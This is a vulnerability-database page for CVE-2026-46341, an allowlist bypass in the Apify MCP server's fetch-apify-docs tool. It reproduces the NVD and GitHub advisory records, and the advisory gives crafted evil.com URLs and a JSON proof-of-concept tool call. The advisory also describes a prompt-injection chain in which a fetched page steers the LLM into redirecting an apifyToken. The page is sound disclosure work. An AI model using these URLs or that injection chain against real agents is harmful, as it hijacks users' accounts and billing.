Vulnerability-Lookup

CVE-2026-46341 (GCVE-0-2026-46341)

Vulnerability from cvelistv5 – Published: 2026-07-16 16:54 – Updated: 2026-07-17 14:01

Title

Apify MCP server: Domain Allowlist Bypass in fetch-apify-docs via String Prefix Matching

Summary

The Apify MCP server enables AI agents to extract data from websites using ready-made scrapers, crawlers, and automation tools available on the Apify Store. Prior to 0.9.21, the fetch-apify-docs tool in src/tools/common/fetch_apify_docs.ts validates allowlisted documentation domains with String.startsWith() rather than URL hostname comparison, allowing attacker-controlled URLs such as `https://docs.apify.com.evil.com/` and `https://docs.apify.com@evil.com/` to pass the ALLOWED_DOC_DOMAINS check and return arbitrary fetched content to the LLM. This issue is fixed in version 0.9.21.

Severity

6.1 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-17 14:01 UTC

CWE

CWE-20 - Improper Input Validation
CWE-183 - Permissive List of Allowed Inputs

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/apify/apify-mcp-server/securit…	x_refsource_CONFIRM
https://github.com/apify/apify-mcp-server/pull/781	x_refsource_MISC
https://github.com/apify/apify-mcp-server/commit/…	x_refsource_MISC
https://github.com/apify/apify-mcp-server/release…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
apify	apify-mcp-server	Affected: < 0.9.21	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-46341",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-17T14:01:40.675260Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-17T14:01:46.108Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/apify/apify-mcp-server/security/advisories/GHSA-jwp7-wg77-3w9v"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "apify-mcp-server",
          "vendor": "apify",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.9.21"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Apify MCP server enables AI agents to extract data from websites using ready-made scrapers, crawlers, and automation tools available on the Apify Store. Prior to 0.9.21, the fetch-apify-docs tool in src/tools/common/fetch_apify_docs.ts validates allowlisted documentation domains with String.startsWith() rather than URL hostname comparison, allowing attacker-controlled URLs such as `https://docs.apify.com.evil.com/` and `https://docs.apify.com@evil.com/` to pass the ALLOWED_DOC_DOMAINS check and return arbitrary fetched content to the LLM. This issue is fixed in version 0.9.21."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.1,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-20",
              "description": "CWE-20: Improper Input Validation",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-183",
              "description": "CWE-183: Permissive List of Allowed Inputs",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-16T16:54:01.843Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/apify/apify-mcp-server/security/advisories/GHSA-jwp7-wg77-3w9v",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/apify/apify-mcp-server/security/advisories/GHSA-jwp7-wg77-3w9v"
        },
        {
          "name": "https://github.com/apify/apify-mcp-server/pull/781",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/apify/apify-mcp-server/pull/781"
        },
        {
          "name": "https://github.com/apify/apify-mcp-server/commit/e39bdee530da1db0b3b3d3713558b33c9608e629",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/apify/apify-mcp-server/commit/e39bdee530da1db0b3b3d3713558b33c9608e629"
        },
        {
          "name": "https://github.com/apify/apify-mcp-server/releases/tag/v0.9.21",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/apify/apify-mcp-server/releases/tag/v0.9.21"
        }
      ],
      "source": {
        "advisory": "GHSA-jwp7-wg77-3w9v",
        "discovery": "UNKNOWN"
      },
      "title": "Apify MCP server: Domain Allowlist Bypass in fetch-apify-docs via String Prefix Matching"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-46341",
    "datePublished": "2026-07-16T16:54:01.843Z",
    "dateReserved": "2026-05-13T18:37:30.990Z",
    "dateUpdated": "2026-07-17T14:01:46.108Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-46341",
      "date": "2026-09-28",
      "epss": "0.00338",
      "percentile": "0.24658"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "apify-mcp-server",
                "vendor": "apify",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 0.9.21"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "The Apify MCP server enables AI agents to extract data from websites using ready-made scrapers, crawlers, and automation tools available on the Apify Store. Prior to 0.9.21, the fetch-apify-docs tool in src/tools/common/fetch_apify_docs.ts validates allowlisted documentation domains with String.startsWith() rather than URL hostname comparison, allowing attacker-controlled URLs such as `https://docs.apify.com.evil.com/` and `https://docs.apify.com@evil.com/` to pass the ALLOWED_DOC_DOMAINS check and return arbitrary fetched content to the LLM. This issue is fixed in version 0.9.21."
          }
        ],
        "id": "CVE-2026-46341",
        "lastModified": "2026-07-17T18:44:13.257",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 6.1,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "LOW",
                "integrityImpact": "LOW",
                "privilegesRequired": "NONE",
                "scope": "CHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 2.7,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-46341",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-17T14:01:40.675260Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-07-16T18:16:43.913",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/apify/apify-mcp-server/commit/e39bdee530da1db0b3b3d3713558b33c9608e629"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/apify/apify-mcp-server/pull/781"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/apify/apify-mcp-server/releases/tag/v0.9.21"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/apify/apify-mcp-server/security/advisories/GHSA-jwp7-wg77-3w9v"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/apify/apify-mcp-server/security/advisories/GHSA-jwp7-wg77-3w9v"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-20"
              },
              {
                "lang": "en",
                "value": "CWE-183"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-46341",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-07-17T14:01:40.675260Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-07-17T14:01:33.925Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/apify/apify-mcp-server/security/advisories/GHSA-jwp7-wg77-3w9v"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "apify-mcp-server",
              "vendor": "apify",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 0.9.21"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "The Apify MCP server enables AI agents to extract data from websites using ready-made scrapers, crawlers, and automation tools available on the Apify Store. Prior to 0.9.21, the fetch-apify-docs tool in src/tools/common/fetch_apify_docs.ts validates allowlisted documentation domains with String.startsWith() rather than URL hostname comparison, allowing attacker-controlled URLs such as `https://docs.apify.com.evil.com/` and `https://docs.apify.com@evil.com/` to pass the ALLOWED_DOC_DOMAINS check and return arbitrary fetched content to the LLM. This issue is fixed in version 0.9.21."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 6.1,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "LOW",
                "integrityImpact": "LOW",
                "privilegesRequired": "NONE",
                "scope": "CHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-20",
                  "description": "CWE-20: Improper Input Validation",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-183",
                  "description": "CWE-183: Permissive List of Allowed Inputs",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-07-16T16:54:01.843Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/apify/apify-mcp-server/security/advisories/GHSA-jwp7-wg77-3w9v",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/apify/apify-mcp-server/security/advisories/GHSA-jwp7-wg77-3w9v"
            },
            {
              "name": "https://github.com/apify/apify-mcp-server/pull/781",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/apify/apify-mcp-server/pull/781"
            },
            {
              "name": "https://github.com/apify/apify-mcp-server/commit/e39bdee530da1db0b3b3d3713558b33c9608e629",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/apify/apify-mcp-server/commit/e39bdee530da1db0b3b3d3713558b33c9608e629"
            },
            {
              "name": "https://github.com/apify/apify-mcp-server/releases/tag/v0.9.21",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/apify/apify-mcp-server/releases/tag/v0.9.21"
            }
          ],
          "source": {
            "advisory": "GHSA-jwp7-wg77-3w9v",
            "discovery": "UNKNOWN"
          },
          "title": "Apify MCP server: Domain Allowlist Bypass in fetch-apify-docs via String Prefix Matching"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-46341",
        "datePublished": "2026-07-16T16:54:01.843Z",
        "dateReserved": "2026-05-13T18:37:30.990Z",
        "dateUpdated": "2026-07-17T14:01:46.108Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-46341

Vulnerability from fkie_nvd - Published: 2026-07-16 18:16 - Updated: 2026-07-17 18:44

Severity

6.1 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/apify/apify-mcp-server/commit/e39bdee530da1db0b3b3d3713558b33c9608e629
	security-advisories@github.com	https://github.com/apify/apify-mcp-server/pull/781
	security-advisories@github.com	https://github.com/apify/apify-mcp-server/releases/tag/v0.9.21
	security-advisories@github.com	https://github.com/apify/apify-mcp-server/security/advisories/GHSA-jwp7-wg77-3w9v
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/apify/apify-mcp-server/security/advisories/GHSA-jwp7-wg77-3w9v

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "apify-mcp-server",
          "vendor": "apify",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.9.21"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "The Apify MCP server enables AI agents to extract data from websites using ready-made scrapers, crawlers, and automation tools available on the Apify Store. Prior to 0.9.21, the fetch-apify-docs tool in src/tools/common/fetch_apify_docs.ts validates allowlisted documentation domains with String.startsWith() rather than URL hostname comparison, allowing attacker-controlled URLs such as `https://docs.apify.com.evil.com/` and `https://docs.apify.com@evil.com/` to pass the ALLOWED_DOC_DOMAINS check and return arbitrary fetched content to the LLM. This issue is fixed in version 0.9.21."
    }
  ],
  "id": "CVE-2026-46341",
  "lastModified": "2026-07-17T18:44:13.257",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.1,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 2.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-46341",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-17T14:01:40.675260Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-16T18:16:43.913",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/apify/apify-mcp-server/commit/e39bdee530da1db0b3b3d3713558b33c9608e629"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/apify/apify-mcp-server/pull/781"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/apify/apify-mcp-server/releases/tag/v0.9.21"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/apify/apify-mcp-server/security/advisories/GHSA-jwp7-wg77-3w9v"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/apify/apify-mcp-server/security/advisories/GHSA-jwp7-wg77-3w9v"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-20"
        },
        {
          "lang": "en",
          "value": "CWE-183"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-JWP7-WG77-3W9V

Vulnerability from github – Published: 2026-05-19 16:34 – Updated: 2026-05-19 16:34

Summary

Apify Model Context Protocol (MCP) server: Domain Allowlist Bypass in fetch-apify-docs via String Prefix Matching

Details

Summary

The fetch-apify-docs tool validates URLs against a domain allowlist using String.startsWith() instead of proper URL hostname comparison. This allows bypass via attacker-controlled subdomains (e.g., https://docs.apify.com.evil.com/), enabling the tool to fetch and return arbitrary web content to the LLM.

Details

Vulnerable component

src/tools/common/fetch_apify_docs.ts, line 51:

const isAllowedDomain = ALLOWED_DOC_DOMAINS.some((domain) => url.startsWith(domain));

src/const.ts, lines 167-170:

export const ALLOWED_DOC_DOMAINS = [
    'https://docs.apify.com',
    'https://crawlee.dev',
] as const;

How the bypass works

String.startsWith('https://docs.apify.com') matches any string beginning with that prefix, including:

https://docs.apify.com.evil.com/payload - attacker-controlled subdomain
https://docs.apify.com@evil.com/payload - userinfo component in URL (browser behavior varies, but fetch() in Node.js may follow this)
https://docs.apify.com.evil.com:8080/path - custom port on attacker domain

All of these pass the startsWith check because they begin with the exact string https://docs.apify.com.

The fetched content is returned to the LLM

After the allowlist check passes, the tool fetches the URL and returns the full page content as markdown (fetch_apify_docs.ts:69-103):

const response = await fetch(url);
// ...
const html = await response.text();
markdown = htmlToMarkdown(html);
// ...
return buildMCPResponse({ texts: [`Fetched content from ${url}:\n\n${markdown}`], ... });

The HTML is converted to markdown and returned verbatim to the LLM. This creates a prompt injection vector - the attacker's page can contain instructions that the LLM may follow.

While tools like get-html-skeleton have no domain allowlist at all - it accepts any URL. The fetch-apify-docs tool was clearly intended to be more restricted (documentation-only), but the startsWith check defeats that intent.

PoC

{
  "method": "tools/call",
  "params": {
    "name": "fetch-apify-docs",
    "arguments": {
      "url": "https://docs.apify.com.evil.com/prompt-injection-payload"
    }
  }
}

The URL passes the startsWith('https://docs.apify.com') check, fetches the attacker's page, and returns its content to the LLM.

Impact

Prompt injection via fetched content: Attacker hosts a page at docs.apify.com.evil.com containing LLM instructions. When the tool fetches and returns this content, the LLM may follow the injected instructions.
Security boundary violation: The allowlist was explicitly designed to restrict fetching to trusted documentation domains. The bypass defeats this intent.
SSRF (limited): The tool can fetch from attacker-controlled servers, though the primary risk is the content returned to the LLM rather than network access.
Account compromise via _meta.apifyToken: Injected prompt instructions can direct the LLM to include a specific _meta.apifyToken (the server's per-request token feature) in subsequent call-actor invocations, redirecting billable operations to a victim's account or accessing their private Actors

Severity

6.1 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@apify/actors-mcp-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46341"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T16:34:34Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe `fetch-apify-docs` tool validates URLs against a domain allowlist using `String.startsWith()` instead of proper URL hostname comparison. This allows bypass via attacker-controlled subdomains (e.g., `https://docs.apify.com.evil.com/`), enabling the tool to fetch and return arbitrary web content to the LLM.\n\n### Details\n#### Vulnerable component\n\n`src/tools/common/fetch_apify_docs.ts`, line 51:\n\n```typescript\nconst isAllowedDomain = ALLOWED_DOC_DOMAINS.some((domain) =\u003e url.startsWith(domain));\n```\n\n`src/const.ts`, lines 167-170:\n\n```typescript\nexport const ALLOWED_DOC_DOMAINS = [\n    \u0027https://docs.apify.com\u0027,\n    \u0027https://crawlee.dev\u0027,\n] as const;\n```\n\n#### How the bypass works\n\n`String.startsWith(\u0027https://docs.apify.com\u0027)` matches any string beginning with that prefix, including:\n\n- `https://docs.apify.com.evil.com/payload` - attacker-controlled subdomain\n- `https://docs.apify.com@evil.com/payload` - userinfo component in URL (browser behavior varies, but `fetch()` in Node.js may follow this)\n- `https://docs.apify.com.evil.com:8080/path` - custom port on attacker domain\n\nAll of these pass the `startsWith` check because they begin with the exact string `https://docs.apify.com`.\n\n#### The fetched content is returned to the LLM\n\nAfter the allowlist check passes, the tool fetches the URL and returns the full page content as markdown (`fetch_apify_docs.ts:69-103`):\n\n```typescript\nconst response = await fetch(url);\n// ...\nconst html = await response.text();\nmarkdown = htmlToMarkdown(html);\n// ...\nreturn buildMCPResponse({ texts: [`Fetched content from ${url}:\\n\\n${markdown}`], ... });\n```\n\nThe HTML is converted to markdown and returned verbatim to the LLM. This creates a prompt injection vector - the attacker\u0027s page can contain instructions that the LLM may follow.\n\nWhile tools like `get-html-skeleton` have no domain allowlist at all - it accepts any URL. The `fetch-apify-docs` tool was clearly intended to be more restricted (documentation-only), but the `startsWith` check defeats that intent.\n\n### PoC\n```json\n{\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"fetch-apify-docs\",\n    \"arguments\": {\n      \"url\": \"https://docs.apify.com.evil.com/prompt-injection-payload\"\n    }\n  }\n}\n```\n\nThe URL passes the `startsWith(\u0027https://docs.apify.com\u0027)` check, fetches the attacker\u0027s page, and returns its content to the LLM.\n### Impact\n- **Prompt injection via fetched content**: Attacker hosts a page at `docs.apify.com.evil.com` containing LLM instructions. When the tool fetches and returns this content, the LLM may follow the injected instructions.\n- **Security boundary violation**: The allowlist was explicitly designed to restrict fetching to trusted documentation domains. The bypass defeats this intent.\n- **SSRF (limited)**: The tool can fetch from attacker-controlled servers, though the primary risk is the content returned to the LLM rather than network access.\n- **Account compromise via _meta.apifyToken**: Injected prompt instructions can direct the LLM to include a specific `_meta.apifyToken` (the server\u0027s per-request token feature) in subsequent `call-actor` invocations, redirecting billable operations to a victim\u0027s account or accessing their private Actors",
  "id": "GHSA-jwp7-wg77-3w9v",
  "modified": "2026-05-19T16:34:35Z",
  "published": "2026-05-19T16:34:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apify/apify-mcp-server/security/advisories/GHSA-jwp7-wg77-3w9v"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apify/apify-mcp-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apify Model Context Protocol (MCP) server: Domain Allowlist Bypass in fetch-apify-docs via String Prefix Matching"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-46341 (GCVE-0-2026-46341)

FKIE_CVE-2026-46341

GHSA-JWP7-WG77-3W9V

Summary

Details

Vulnerable component

How the bypass works

The fetched content is returned to the LLM

PoC

Impact

Tags

Sightings

Nomenclature

Related by attack behaviour